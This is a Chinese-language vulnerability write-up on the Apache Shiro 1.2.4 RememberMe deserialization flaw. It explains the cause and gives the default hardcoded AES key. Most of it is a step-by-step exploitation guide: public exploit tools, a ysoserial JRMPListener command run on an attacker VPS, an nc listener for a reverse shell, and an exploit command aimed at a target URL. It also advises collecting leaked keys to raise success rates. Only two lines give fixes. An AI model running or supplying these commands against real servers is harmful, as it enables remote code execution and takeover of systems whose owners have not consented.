0x01 概述
Shiro簡介
Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕鬆地獲得任何應用程式,從最小的移動應用程式到最大的網路和企業應用程式。
漏洞概述
Apache Shiro 1.2.4及以前版本中,加密的使用者資訊序列化後儲存在名為remember-me的Cookie中。攻擊者可以使用Shiro的預設金鑰偽造使用者Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
漏洞原理
Apache Shiro框架提供了記住密碼的功能(RememberMe),使用者登陸成功後會生成經過加密並編碼的cookie。cookie的key為RememberMe,cookie的值是經過對相關資訊進行序列化,然後使用aes加密,最後在使用base64編碼處理形成的。 在服務端接收cookie值時,按照如下步驟來解析處理:
1、檢索RememberMe cookie 的值
2、Base64解碼
3、使用AES解密(加密金鑰硬編碼)
4、進行反序列化操作(未作過濾處理)
在呼叫反序列化時未進行任何過濾,導致可以觸發遠端程式碼執行漏洞
利用條件
需要知道key(AES加密金鑰)
Shiro1.2.4之前版本中使用的是硬編碼。其預設金鑰的base64編碼後的值為:kPH+bIxk5D2deZiIxcaaaA==
儘管目前已經更新了許多版本,官方並沒有反序列化漏洞本身解決,而是通過去掉硬編碼的金鑰,使其每次生成一個金鑰來解決該漏洞。這裡我們可以通過搜尋引擎、github等來收集金鑰,提高漏洞檢測與利用的成功率。
0x02 檢測與利用
特徵
1、登入頁面的響應包的Set-Cookie中存在rememberMe=deleteMe
2、登陸後Cookie中有rememberMe=
工具檢測與利用
工具1:ShiroExploit.jar + ysoserial.jar
下載地址:https://github.com/feihong-cs/ShiroExploit
1、輸入待測URL
2、選擇檢測方式
(1)選擇使用哪種方式檢測
(2)自動遍歷尋找key
(3)自動尋找可用Gadget
3、執行命令(需要編碼,線上轉換地址:http://www.jackson-t.ca/runtime-exec-payloads.html)
(1)執行命令(手動編碼後執行)
手動編碼
執行命令
執行成功
(2)直接反彈shell(工具自動編碼執行)
工具2:shiro_exploit.py + ysoserial.jar
下載地址:https://github.com/insightglacier/Shiro_exploit
(1)VPS開啟JRMP監聽
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '編碼後的命令'
nc -l 8080
(3)本地執行shiro_exploit.py
python2 shiro_exploit.py -u "http://192.168.17.157:8080" -t 2 -g JRMPClient -p "VPS_IP:1099" -k "kPH+bIxk5D2deZiIxcaaaA=="
0x03 修復建議
1、升級最新版Shiro
2、不要硬編碼